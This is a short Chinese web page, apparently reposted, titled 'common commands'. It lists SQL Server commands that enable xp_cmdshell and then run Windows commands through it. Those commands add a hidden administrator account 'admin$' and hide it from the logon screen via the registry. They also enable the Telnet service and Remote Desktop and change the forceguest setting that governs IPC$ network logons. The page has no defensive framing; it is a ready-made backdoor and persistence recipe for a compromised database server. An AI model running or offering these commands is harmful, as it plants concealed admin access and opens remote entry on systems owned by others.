常用命令

来源:互联网 发布:react dom.js下载 编辑:程序博客网 时间:2024/06/01 16:55
 -- To allow advanced options to be changed.
EXEC sp_configure 'show advanced options', 1
GO
-- To update the currently configured value for advanced options.
RECONFIGURE
GO
-- To enable the feature.
EXEC sp_configure 'xp_cmdshell', 1
GO
-- To update the currently configured value for this feature.
RECONFIGURE
GO

exec xp_cmdshell 'ver'
go

--user
exec xp_cmdshell 'net user admin$ admin /add & net localgroup administrators admin$ /add'
go

--23
exec xp_cmdshell 'sc config tlntsvr start= auto & net start tlntsvr'
go

--3389
exec xp_cmdshell 'reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
go

--hide
exec xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v admin$ /t REG_DWORD /d 00000000 /f'
go

--ipc$
exec xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v forceguest /t REG_DWORD /d 00000000 /f'
go